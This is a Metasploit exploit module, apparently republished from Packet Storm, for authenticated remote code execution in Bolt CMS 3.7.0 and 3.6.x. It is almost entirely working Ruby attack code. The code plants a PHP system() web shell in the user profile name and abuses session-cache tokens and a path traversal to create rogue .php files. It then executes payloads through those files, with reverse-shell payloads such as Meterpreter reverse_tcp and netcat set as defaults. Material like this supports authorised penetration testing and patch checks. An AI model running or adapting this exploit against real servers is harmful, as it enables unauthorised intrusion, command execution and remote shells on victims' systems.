Share
## https://sploitus.com/exploit?id=PACKETSTORM:158243
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',  
'Description' => %q{  
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0  
and 3.6.* in order to execute arbitrary commands as the user running Bolt.  
  
This module first takes advantage of a vulnerability that allows an  
authenticated user to change the username in /bolt/profile to a PHP  
`system($_GET[""])` variable. Next, the module obtains a list of tokens  
from `/async/browse/cache/.sessions` and uses these to create files with  
the blacklisted `.php` extention via HTTP POST requests to  
`/async/folder/rename`. For each created file, the module checks the HTTP  
response for evidence that the file can be used to execute arbitrary  
commands via the created PHP $_GET variable. If the response is negative,  
the file is deleted, otherwise the payload is executed via an HTTP  
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`  
  
Valid credentials for a Bolt CMS user are required. This module has been  
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Sivanesh Ashok', # Discovery  
'r3m0t3nu11', # PoC  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['EDB', '48296'],  
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],  
'Targets' =>  
[  
[  
'Linux (x86)', {  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time  
'DefaultOptions' => {  
'RPORT' => 8000,  
'WfsDelay' => 5  
},  
'DefaultTarget' => 2,  
'Notes' => {  
'NOCVE' => '0day',  
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options [  
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),  
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])  
]  
end  
  
def check  
# obtain token and cookie required for login  
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 200 && res.body.include?('Sign in to Bolt')  
return CheckCode::Safe('Target is not a Bolt CMS application.')  
end  
  
html = res.get_html_document  
token = html.at('input[@id="user_login__token"]')['value']  
cookie = res.get_cookies  
  
# perform login  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),  
'cookie' => cookie,  
'vars_post' => {  
'user_login[username]' => datastore['USERNAME'],  
'user_login[password]' => datastore['PASSWORD'],  
'user_login[login]' => '',  
'user_login[_token]' => token  
}  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 302 && res.body.include?('Redirecting to /bolt')  
return CheckCode::Unknown('Failed to authenticate to the server.')  
end  
  
@cookie = res.get_cookies  
return unless @cookie  
  
# visit profile page to obtain user_profile token and user email  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 200 && res.body.include?('<title>Profile')  
return CheckCode::Unknown('Failed to authenticate to the server.')  
end  
  
html = res.get_html_document  
  
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile  
unless @email # create fake email if this value is not found  
@email = Rex::Text.rand_text_alpha_lower(5..8)  
@email << "@#{@email}."  
@email << Rex::Text.rand_text_alpha_lower(2..3)  
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")  
end  
  
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)  
  
if !@profile_token || @profile_token.to_s.empty?  
return CheckCode::Unknown('Authentication failure.')  
end  
  
# change user profile to a php $_GET variable  
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie,  
'vars_post' => {  
'user_profile[password][first]' => datastore['PASSWORD'],  
'user_profile[password][second]' => datastore['PASSWORD'],  
'user_profile[email]' => @email,  
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",  
'user_profile[save]' => '',  
'user_profile[_token]' => @profile_token  
}  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
# visit profile page again to verify the changes  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie  
})  
  
return CheckCode::Unknown('Connection failed') unless res  
  
unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}&#039")  
return CheckCode::Unknown('Authentication failure.')  
end  
  
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")  
end  
  
def exploit  
# NOTE: Automatic check is implemented by the AutoCheck mixin  
super  
  
csrf  
unless @csrf_token && !@csrf_token.empty?  
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'  
end  
vprint_status("Found CSRF token: #{@csrf_token}")  
  
file_tokens = obtain_cache_tokens  
unless file_tokens && !file_tokens.empty?  
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'  
end  
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")  
  
token_results = try_tokens(file_tokens)  
unless token_results && !token_results.empty?  
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'  
end  
  
valid_token = token_results[0]  
@rogue_file = token_results[1]  
  
print_good("Used token #{valid_token} to create #{@rogue_file}.")  
if target.arch.first == ARCH_CMD  
execute_command(payload.encoded)  
else  
execute_cmdstager  
end  
end  
  
def csrf  
# visit /bolt/overview/showcases to get csrf token  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),  
'cookie' => @cookie  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
unless res.code == 200 && res.body.include?('Showcases')  
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'  
end  
  
html = res.get_html_document  
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']  
end  
  
def obtain_cache_tokens  
# obtain tokens for creating rogue .php files from cache  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),  
'cookie' => @cookie  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
unless res.code == 200 && res.body.include?('entry disabled')  
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'  
end  
  
html = res.get_html_document  
entries = html.search('tr')  
tokens = []  
entries.each do |e|  
token = e.at('span[@class="entry disabled"]').text.strip  
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]  
tokens.append(token) if size.to_i >= 2000  
end  
  
tokens  
end  
  
def try_tokens(file_tokens)  
# create .php files and check if any of them can be used for RCE via the username $_GET variable  
file_tokens.each do |token|  
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present  
file_name = Rex::Text.rand_text_alpha_lower(8..12)  
file_name << '.php'  
  
# use token to create rogue .php file by 'renaming' a file from cache  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),  
'cookie' => @cookie,  
'vars_post' => {  
'namespace' => 'root',  
'parent' => '/app/cache/.sessions',  
'oldname' => token,  
'newname' => "#{file_path}/#{file_name}",  
'token' => @csrf_token  
}  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
next unless res.code == 200 && res.body.include?(file_name)  
  
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'files', file_name),  
'cookie' => @cookie  
})  
  
fail_with Failure::Unreachable, 'Connection failed' unless res  
  
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number  
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)  
delete_file(file_name)  
next  
end  
  
return token, file_name  
end  
  
nil  
end  
  
def execute_command(cmd, _opts = {})  
if target.arch.first == ARCH_CMD  
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")  
end  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),  
'cookie' => @cookie,  
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout  
}, 3.5)  
  
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number  
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)  
print_warning('No response, may have executed a blocking payload!')  
return  
end  
  
print_good('Payload executed!')  
end  
  
def cleanup  
super  
  
# delete rogue .php file used for execution (if present)  
delete_file(@rogue_file) if @rogue_file  
  
return unless @profile_token  
  
# change user profile back to original  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie,  
'vars_post' => {  
'user_profile[password][first]' => datastore['PASSWORD'],  
'user_profile[password][second]' => datastore['PASSWORD'],  
'user_profile[email]' => @email,  
'user_profile[displayname]' => datastore['USERNAME'].to_s,  
'user_profile[save]' => '',  
'user_profile[_token]' => @profile_token  
}  
})  
  
unless res  
print_warning('Failed to revert user profile back to original state.')  
return  
end  
  
# visit profile page again to verify the changes  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),  
'cookie' => @cookie  
})  
  
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)  
print_warning('Failed to revert user profile back to original state.')  
end  
  
print_good('Reverted user profile back to original state.')  
end  
  
def delete_file(file_name)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),  
'cookie' => @cookie,  
'vars_post' => {  
'namespace' => 'files',  
'filename' => file_name,  
'token' => @csrf_token  
}  
})  
  
unless res && res.code == 200 && res.body.include?(file_name)  
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")  
end  
  
print_good("Deleted file #{file_name}.")  
end  
  
end